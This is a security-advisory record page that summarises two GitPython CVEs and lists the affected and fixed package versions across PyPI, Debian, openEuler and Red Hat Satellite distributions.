  • CVE-2026-78677: allowing creation of arbitrary git directories outside the intended clone destination (bsc#1276432).
  • CVE-2026-78678: an incomplete denylist in the unsafe_git_revision_options guard that omits --contents…
Record
SUSE-SU-2026:4072-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
gitpython
PyPI
before 3.1.55
3.1.55
gitpython
TuxCare:PyPI
From an advisory covering 2 CVEs
3.1.31 up to 3.1.31.post11+tuxcare, plus listed versions
3.1.31.post1+tuxcare3.1.31.post10+tuxcare3.1.31.post2+tuxcare3.1.31.post3+tuxcare3.1.31.post4+tuxcare
Show 5 moreShow less
3.1.31.post5+tuxcare3.1.31.post6+tuxcare3.1.31.post7+tuxcare3.1.31.post8+tuxcare3.1.31.post9+tuxcare
3.1.31.post11+tuxcare
python-git
Debian:12
before 3.1.30-1+deb12u3, plus listed versions
3.1.30-13.1.30-1+deb12u2
3.1.30-1+deb12u3
python-git
Debian:13
before 3.1.44-1+deb13u1, plus listed versions
3.1.44-1
3.1.44-1+deb13u1
python-git
Debian:14
before 3.1.61-1, plus listed versions
3.1.44-13.1.45-13.1.46-13.1.50-1
3.1.61-1
gitpython
PyPI
before 3.1.55, plus listed versions
0.1.70.2.0-beta10.3.0-beta10.3.0-beta20.3.1-beta2
Show 45 moreShow less
0.3.20.3.2.10.3.2.RC10.3.30.3.40.3.50.3.60.3.71.0.01.0.11.0.22.0.02.0.12.0.22.0.32.0.42.0.52.0.62.0.72.0.82.0.92.0.9.dev02.0.9.dev12.1.02.1.12.1.102.1.112.1.122.1.132.1.142.1.152.1.22.1.32.1.42.1.52.1.62.1.72.1.82.1.93.0.03.0.13.0.23.0.33.0.43.0.5
3.1.55
python-GitPython
openEuler:24.03-LTS-SP1
From an advisory covering 17 CVEs
before 3.1.59-1.oe2403sp1
3.1.59-1.oe2403sp1
python-GitPython
openEuler:24.03-LTS-SP3
From an advisory covering 17 CVEs
before 3.1.59-1.oe2403sp3
3.1.59-1.oe2403sp3
python-GitPython
openEuler:24.03-LTS-SP4
From an advisory covering 17 CVEs
before 3.1.59-1.oe2403sp4
3.1.59-1.oe2403sp4
openvox-server
Red Hat:satellite_capsule:6.19::el9
From an advisory covering 22 CVEs
before 0:8.15.2-1.el9sat
0:8.15.2-1.el9sat
Show 213 moreShow less
Affected packages
PackageAffectedFixed
openvox-server
Red Hat:satellite:6.19::el9
From an advisory covering 22 CVEs
before 0:8.15.2-1.el9sat
0:8.15.2-1.el9sat
ansible-core
Red Hat:satellite_capsule:6.19::el9
From an advisory covering 22 CVEs
before 1:2.16.19-1.el9sat
1:2.16.19-1.el9sat
ansible-test
Red Hat:satellite_capsule:6.19::el9
From an advisory covering 22 CVEs
before 1:2.16.19-1.el9sat
1:2.16.19-1.el9sat
ansible-core
Red Hat:satellite_maintenance:6.19::el9
From an advisory covering 22 CVEs
before 1:2.16.19-1.el9sat
1:2.16.19-1.el9sat
ansible-core
Red Hat:satellite:6.19::el9
From an advisory covering 22 CVEs
before 1:2.16.19-1.el9sat
1:2.16.19-1.el9sat
ansible-test
Red Hat:satellite:6.19::el9
From an advisory covering 22 CVEs
before 1:2.16.19-1.el9sat
1:2.16.19-1.el9sat
python3.12-aiohttp
Red Hat:satellite_capsule:6.19::el9
From an advisory covering 22 CVEs
before 0:3.14.3-1.el9pc
0:3.14.3-1.el9pc
python3.12-aiohttp-debuginfo
Red Hat:satellite_capsule:6.19::el9
From an advisory covering 22 CVEs
before 0:3.14.3-1.el9pc
0:3.14.3-1.el9pc
python3.12-aiohttp-debugsource
Red Hat:satellite_capsule:6.19::el9
From an advisory covering 22 CVEs
before 0:3.14.3-1.el9pc
0:3.14.3-1.el9pc
python3.12-aiohttp
Red Hat:satellite:6.19::el9
From an advisory covering 22 CVEs
before 0:3.14.3-1.el9pc
0:3.14.3-1.el9pc
python3.12-aiohttp-debuginfo
Red Hat:satellite:6.19::el9
From an advisory covering 22 CVEs
before 0:3.14.3-1.el9pc
0:3.14.3-1.el9pc
python3.12-aiohttp-debugsource
Red Hat:satellite:6.19::el9
From an advisory covering 22 CVEs
before 0:3.14.3-1.el9pc
0:3.14.3-1.el9pc
python3.12-gitpython
Red Hat:satellite_capsule:6.19::el9
From an advisory covering 22 CVEs
before 0:3.1.59-1.el9pc
0:3.1.59-1.el9pc
python3.12-gitpython
Red Hat:satellite:6.19::el9
From an advisory covering 22 CVEs
before 0:3.1.59-1.el9pc
0:3.1.59-1.el9pc
rubygem-jwt
Red Hat:satellite_capsule:6.19::el9
From an advisory covering 22 CVEs
before 0:2.10.3-1.el9sat
0:2.10.3-1.el9sat
rubygem-jwt
Red Hat:satellite_utils:6.19::el9
From an advisory covering 22 CVEs
before 0:2.10.3-1.el9sat
0:2.10.3-1.el9sat
rubygem-jwt
Red Hat:satellite:6.19::el9
From an advisory covering 22 CVEs
before 0:2.10.3-1.el9sat
0:2.10.3-1.el9sat
rubygem-foreman_remote_execution
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:15.0.2-2.el9sat
0:15.0.2-2.el9sat
rubygem-foreman_remote_execution-cockpit
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:15.0.2-2.el9sat
0:15.0.2-2.el9sat
foreman
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 32 CVEs
before 0:3.14.0.22-1.el9sat
0:3.14.0.22-1.el9sat
foreman-debug
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 32 CVEs
before 0:3.14.0.22-1.el9sat
0:3.14.0.22-1.el9sat
foreman-pcp
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 32 CVEs
before 0:3.14.0.22-1.el9sat
0:3.14.0.22-1.el9sat
foreman
Red Hat:satellite_utils:6.17::el9
From an advisory covering 32 CVEs
before 0:3.14.0.22-1.el9sat
0:3.14.0.22-1.el9sat
foreman-cli
Red Hat:satellite_utils:6.17::el9
From an advisory covering 32 CVEs
before 0:3.14.0.22-1.el9sat
0:3.14.0.22-1.el9sat
foreman
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:3.14.0.22-1.el9sat
0:3.14.0.22-1.el9sat
foreman-cli
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:3.14.0.22-1.el9sat
0:3.14.0.22-1.el9sat
foreman-debug
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:3.14.0.22-1.el9sat
0:3.14.0.22-1.el9sat
foreman-dynflow-sidekiq
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:3.14.0.22-1.el9sat
0:3.14.0.22-1.el9sat
foreman-ec2
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:3.14.0.22-1.el9sat
0:3.14.0.22-1.el9sat
foreman-journald
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:3.14.0.22-1.el9sat
0:3.14.0.22-1.el9sat
foreman-libvirt
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:3.14.0.22-1.el9sat
0:3.14.0.22-1.el9sat
foreman-openstack
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:3.14.0.22-1.el9sat
0:3.14.0.22-1.el9sat
foreman-ovirt
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:3.14.0.22-1.el9sat
0:3.14.0.22-1.el9sat
foreman-pcp
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:3.14.0.22-1.el9sat
0:3.14.0.22-1.el9sat
foreman-postgresql
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:3.14.0.22-1.el9sat
0:3.14.0.22-1.el9sat
foreman-redis
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:3.14.0.22-1.el9sat
0:3.14.0.22-1.el9sat
foreman-service
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:3.14.0.22-1.el9sat
0:3.14.0.22-1.el9sat
foreman-telemetry
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:3.14.0.22-1.el9sat
0:3.14.0.22-1.el9sat
foreman-vmware
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:3.14.0.22-1.el9sat
0:3.14.0.22-1.el9sat
rubygem-hammer_cli
Red Hat:satellite_utils:6.17::el9
From an advisory covering 32 CVEs
before 0:3.14.0-2.el9sat
0:3.14.0-2.el9sat
rubygem-hammer_cli
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:3.14.0-2.el9sat
0:3.14.0-2.el9sat
python-dynaconf
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 32 CVEs
before 0:3.2.13-1.el9pc
0:3.2.13-1.el9pc
python3.11-dynaconf
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 32 CVEs
before 0:3.2.13-1.el9pc
0:3.2.13-1.el9pc
python-dynaconf
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:3.2.13-1.el9pc
0:3.2.13-1.el9pc
python3.11-dynaconf
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:3.2.13-1.el9pc
0:3.2.13-1.el9pc
yggdrasil-worker-forwarder
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:0.1.0-2.1.el9sat
0:0.1.0-2.1.el9sat
python-gitpython
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 32 CVEs
before 0:3.1.62-1.el9pc
0:3.1.62-1.el9pc
python-lxml
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 32 CVEs
before 0:5.3.1-2.el9pc
0:5.3.1-2.el9pc
python-lxml-debugsource
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 32 CVEs
before 0:5.3.1-2.el9pc
0:5.3.1-2.el9pc
python-sqlparse
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 32 CVEs
before 0:0.6.0-1.el9pc
0:0.6.0-1.el9pc
python3.11-gitpython
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 32 CVEs
before 0:3.1.62-1.el9pc
0:3.1.62-1.el9pc
python3.11-lxml
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 32 CVEs
before 0:5.3.1-2.el9pc
0:5.3.1-2.el9pc
python3.11-lxml-debuginfo
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 32 CVEs
before 0:5.3.1-2.el9pc
0:5.3.1-2.el9pc
python3.11-sqlparse
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 32 CVEs
before 0:0.6.0-1.el9pc
0:0.6.0-1.el9pc
satellite
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 32 CVEs
before 0:6.17.12-1.el9sat
0:6.17.12-1.el9sat
satellite-capsule
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 32 CVEs
before 0:6.17.12-1.el9sat
0:6.17.12-1.el9sat
satellite-common
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 32 CVEs
before 0:6.17.12-1.el9sat
0:6.17.12-1.el9sat
satellite-obsolete-packages
Red Hat:satellite_capsule:6.17::el9
From an advisory covering 32 CVEs
before 0:6.17.12-1.el9sat
0:6.17.12-1.el9sat
satellite
Red Hat:satellite_utils:6.17::el9
From an advisory covering 32 CVEs
before 0:6.17.12-1.el9sat
0:6.17.12-1.el9sat
satellite-cli
Red Hat:satellite_utils:6.17::el9
From an advisory covering 32 CVEs
before 0:6.17.12-1.el9sat
0:6.17.12-1.el9sat
python-gitpython
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:3.1.62-1.el9pc
0:3.1.62-1.el9pc
python-lxml
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:5.3.1-2.el9pc
0:5.3.1-2.el9pc
python-lxml-debugsource
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:5.3.1-2.el9pc
0:5.3.1-2.el9pc
python-sqlparse
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:0.6.0-1.el9pc
0:0.6.0-1.el9pc
python3.11-gitpython
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:3.1.62-1.el9pc
0:3.1.62-1.el9pc
python3.11-lxml
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:5.3.1-2.el9pc
0:5.3.1-2.el9pc
python3.11-lxml-debuginfo
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:5.3.1-2.el9pc
0:5.3.1-2.el9pc
python3.11-sqlparse
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:0.6.0-1.el9pc
0:0.6.0-1.el9pc
rubygem-katello
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:4.16.0.20-1.el9sat
0:4.16.0.20-1.el9sat
rubygem-safemode
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:1.5.0-2.el9sat
0:1.5.0-2.el9sat
satellite
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:6.17.12-1.el9sat
0:6.17.12-1.el9sat
satellite-cli
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:6.17.12-1.el9sat
0:6.17.12-1.el9sat
satellite-common
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:6.17.12-1.el9sat
0:6.17.12-1.el9sat
satellite-obsolete-packages
Red Hat:satellite:6.17::el9
From an advisory covering 32 CVEs
before 0:6.17.12-1.el9sat
0:6.17.12-1.el9sat
rubygem-foreman_remote_execution
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:13.2.8-2.el8sat
0:13.2.8-2.el8sat
rubygem-foreman_remote_execution-cockpit
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:13.2.8-2.el8sat
0:13.2.8-2.el8sat
rubygem-foreman_remote_execution
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:13.2.8-2.el9sat
0:13.2.8-2.el9sat
rubygem-foreman_remote_execution-cockpit
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:13.2.8-2.el9sat
0:13.2.8-2.el9sat
foreman
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el8sat
0:3.12.0.23-1.el8sat
foreman-debug
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el8sat
0:3.12.0.23-1.el8sat
foreman-pcp
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el8sat
0:3.12.0.23-1.el8sat
foreman
Red Hat:satellite_utils:6.16::el8
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el8sat
0:3.12.0.23-1.el8sat
foreman-cli
Red Hat:satellite_utils:6.16::el8
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el8sat
0:3.12.0.23-1.el8sat
foreman
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el8sat
0:3.12.0.23-1.el8sat
foreman-cli
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el8sat
0:3.12.0.23-1.el8sat
foreman-debug
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el8sat
0:3.12.0.23-1.el8sat
foreman-dynflow-sidekiq
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el8sat
0:3.12.0.23-1.el8sat
foreman-ec2
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el8sat
0:3.12.0.23-1.el8sat
foreman-journald
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el8sat
0:3.12.0.23-1.el8sat
foreman-libvirt
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el8sat
0:3.12.0.23-1.el8sat
foreman-openstack
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el8sat
0:3.12.0.23-1.el8sat
foreman-ovirt
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el8sat
0:3.12.0.23-1.el8sat
foreman-pcp
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el8sat
0:3.12.0.23-1.el8sat
foreman-postgresql
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el8sat
0:3.12.0.23-1.el8sat
foreman-redis
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el8sat
0:3.12.0.23-1.el8sat
foreman-service
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el8sat
0:3.12.0.23-1.el8sat
foreman-telemetry
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el8sat
0:3.12.0.23-1.el8sat
foreman-vmware
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el8sat
0:3.12.0.23-1.el8sat
foreman
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el9sat
0:3.12.0.23-1.el9sat
foreman-debug
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el9sat
0:3.12.0.23-1.el9sat
foreman-pcp
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el9sat
0:3.12.0.23-1.el9sat
foreman
Red Hat:satellite_utils:6.16::el9
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el9sat
0:3.12.0.23-1.el9sat
foreman-cli
Red Hat:satellite_utils:6.16::el9
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el9sat
0:3.12.0.23-1.el9sat
foreman
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el9sat
0:3.12.0.23-1.el9sat
foreman-cli
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el9sat
0:3.12.0.23-1.el9sat
foreman-debug
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el9sat
0:3.12.0.23-1.el9sat
foreman-dynflow-sidekiq
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el9sat
0:3.12.0.23-1.el9sat
foreman-ec2
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el9sat
0:3.12.0.23-1.el9sat
foreman-journald
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el9sat
0:3.12.0.23-1.el9sat
foreman-libvirt
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el9sat
0:3.12.0.23-1.el9sat
foreman-openstack
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el9sat
0:3.12.0.23-1.el9sat
foreman-ovirt
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el9sat
0:3.12.0.23-1.el9sat
foreman-pcp
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el9sat
0:3.12.0.23-1.el9sat
foreman-postgresql
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el9sat
0:3.12.0.23-1.el9sat
foreman-redis
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el9sat
0:3.12.0.23-1.el9sat
foreman-service
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el9sat
0:3.12.0.23-1.el9sat
foreman-telemetry
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el9sat
0:3.12.0.23-1.el9sat
foreman-vmware
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:3.12.0.23-1.el9sat
0:3.12.0.23-1.el9sat
rubygem-hammer_cli
Red Hat:satellite_utils:6.16::el8
From an advisory covering 31 CVEs
before 0:3.12.0-2.el8sat
0:3.12.0-2.el8sat
rubygem-hammer_cli
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:3.12.0-2.el8sat
0:3.12.0-2.el8sat
rubygem-hammer_cli
Red Hat:satellite_utils:6.16::el9
From an advisory covering 31 CVEs
before 0:3.12.0-2.el9sat
0:3.12.0-2.el9sat
rubygem-hammer_cli
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:3.12.0-2.el9sat
0:3.12.0-2.el9sat
python-dynaconf
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 31 CVEs
before 0:3.2.13-1.el8pc
0:3.2.13-1.el8pc
python3.11-dynaconf
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 31 CVEs
before 0:3.2.13-1.el8pc
0:3.2.13-1.el8pc
python-dynaconf
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:3.2.13-1.el8pc
0:3.2.13-1.el8pc
python3.11-dynaconf
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:3.2.13-1.el8pc
0:3.2.13-1.el8pc
python-dynaconf
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 31 CVEs
before 0:3.2.13-1.el9pc
0:3.2.13-1.el9pc
python3.11-dynaconf
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 31 CVEs
before 0:3.2.13-1.el9pc
0:3.2.13-1.el9pc
python-dynaconf
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:3.2.13-1.el9pc
0:3.2.13-1.el9pc
python3.11-dynaconf
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:3.2.13-1.el9pc
0:3.2.13-1.el9pc
yggdrasil-worker-forwarder
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:0.1.0-2.el8sat
0:0.1.0-2.el8sat
yggdrasil-worker-forwarder
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:0.1.0-2.1.el9sat
0:0.1.0-2.1.el9sat
python-gitpython
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 31 CVEs
before 0:3.1.62-1.el8pc
0:3.1.62-1.el8pc
python-lxml
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 31 CVEs
before 0:4.9.2-5.el8pc
0:4.9.2-5.el8pc
python-lxml-debugsource
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 31 CVEs
before 0:4.9.2-5.el8pc
0:4.9.2-5.el8pc
python-pulpcore
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 31 CVEs
before 0:3.49.39-4.el8pc
0:3.49.39-4.el8pc
python-sqlparse
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 31 CVEs
before 0:0.6.0-1.el8pc
0:0.6.0-1.el8pc
python3.11-gitpython
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 31 CVEs
before 0:3.1.62-1.el8pc
0:3.1.62-1.el8pc
python3.11-lxml
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 31 CVEs
before 0:4.9.2-5.el8pc
0:4.9.2-5.el8pc
python3.11-lxml-debuginfo
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 31 CVEs
before 0:4.9.2-5.el8pc
0:4.9.2-5.el8pc
python3.11-pulpcore
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 31 CVEs
before 0:3.49.39-4.el8pc
0:3.49.39-4.el8pc
python3.11-sqlparse
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 31 CVEs
before 0:0.6.0-1.el8pc
0:0.6.0-1.el8pc
satellite
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 31 CVEs
before 0:6.16.14-1.el8sat
0:6.16.14-1.el8sat
satellite-capsule
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 31 CVEs
before 0:6.16.14-1.el8sat
0:6.16.14-1.el8sat
satellite-common
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 31 CVEs
before 0:6.16.14-1.el8sat
0:6.16.14-1.el8sat
satellite
Red Hat:satellite_utils:6.16::el8
From an advisory covering 31 CVEs
before 0:6.16.14-1.el8sat
0:6.16.14-1.el8sat
satellite-cli
Red Hat:satellite_utils:6.16::el8
From an advisory covering 31 CVEs
before 0:6.16.14-1.el8sat
0:6.16.14-1.el8sat
python-gitpython
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:3.1.62-1.el8pc
0:3.1.62-1.el8pc
python-lxml
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:4.9.2-5.el8pc
0:4.9.2-5.el8pc
python-lxml-debugsource
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:4.9.2-5.el8pc
0:4.9.2-5.el8pc
python-pulpcore
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:3.49.39-4.el8pc
0:3.49.39-4.el8pc
python-sqlparse
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:0.6.0-1.el8pc
0:0.6.0-1.el8pc
python3.11-gitpython
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:3.1.62-1.el8pc
0:3.1.62-1.el8pc
python3.11-lxml
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:4.9.2-5.el8pc
0:4.9.2-5.el8pc
python3.11-lxml-debuginfo
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:4.9.2-5.el8pc
0:4.9.2-5.el8pc
python3.11-pulpcore
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:3.49.39-4.el8pc
0:3.49.39-4.el8pc
python3.11-sqlparse
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:0.6.0-1.el8pc
0:0.6.0-1.el8pc
rubygem-katello
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:4.14.0.23-1.el8sat
0:4.14.0.23-1.el8sat
rubygem-safemode
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:1.5.0-2.el8sat
0:1.5.0-2.el8sat
satellite
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:6.16.14-1.el8sat
0:6.16.14-1.el8sat
satellite-cli
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:6.16.14-1.el8sat
0:6.16.14-1.el8sat
satellite-common
Red Hat:satellite:6.16::el8
From an advisory covering 31 CVEs
before 0:6.16.14-1.el8sat
0:6.16.14-1.el8sat
python-gitpython
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 31 CVEs
before 0:3.1.62-1.el9pc
0:3.1.62-1.el9pc
python-lxml
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 31 CVEs
before 0:4.9.2-5.el9pc
0:4.9.2-5.el9pc
python-lxml-debugsource
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 31 CVEs
before 0:4.9.2-5.el9pc
0:4.9.2-5.el9pc
python-pulpcore
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 31 CVEs
before 0:3.49.39-4.el9pc
0:3.49.39-4.el9pc
python-sqlparse
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 31 CVEs
before 0:0.6.0-1.el9pc
0:0.6.0-1.el9pc
python3.11-gitpython
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 31 CVEs
before 0:3.1.62-1.el9pc
0:3.1.62-1.el9pc
python3.11-lxml
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 31 CVEs
before 0:4.9.2-5.el9pc
0:4.9.2-5.el9pc
python3.11-lxml-debuginfo
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 31 CVEs
before 0:4.9.2-5.el9pc
0:4.9.2-5.el9pc
python3.11-pulpcore
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 31 CVEs
before 0:3.49.39-4.el9pc
0:3.49.39-4.el9pc
python3.11-sqlparse
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 31 CVEs
before 0:0.6.0-1.el9pc
0:0.6.0-1.el9pc
satellite
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 31 CVEs
before 0:6.16.14-1.el9sat
0:6.16.14-1.el9sat
satellite-capsule
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 31 CVEs
before 0:6.16.14-1.el9sat
0:6.16.14-1.el9sat
satellite-common
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 31 CVEs
before 0:6.16.14-1.el9sat
0:6.16.14-1.el9sat
satellite
Red Hat:satellite_utils:6.16::el9
From an advisory covering 31 CVEs
before 0:6.16.14-1.el9sat
0:6.16.14-1.el9sat
satellite-cli
Red Hat:satellite_utils:6.16::el9
From an advisory covering 31 CVEs
before 0:6.16.14-1.el9sat
0:6.16.14-1.el9sat
python-gitpython
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:3.1.62-1.el9pc
0:3.1.62-1.el9pc
python-lxml
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:4.9.2-5.el9pc
0:4.9.2-5.el9pc
python-lxml-debugsource
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:4.9.2-5.el9pc
0:4.9.2-5.el9pc
python-pulpcore
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:3.49.39-4.el9pc
0:3.49.39-4.el9pc
python-sqlparse
Red Hat:satellite:6.16::el9
From an advisory covering 31 CVEs
before 0:0.6.0-1.el9pc
0:0.6.0-1.el9pc
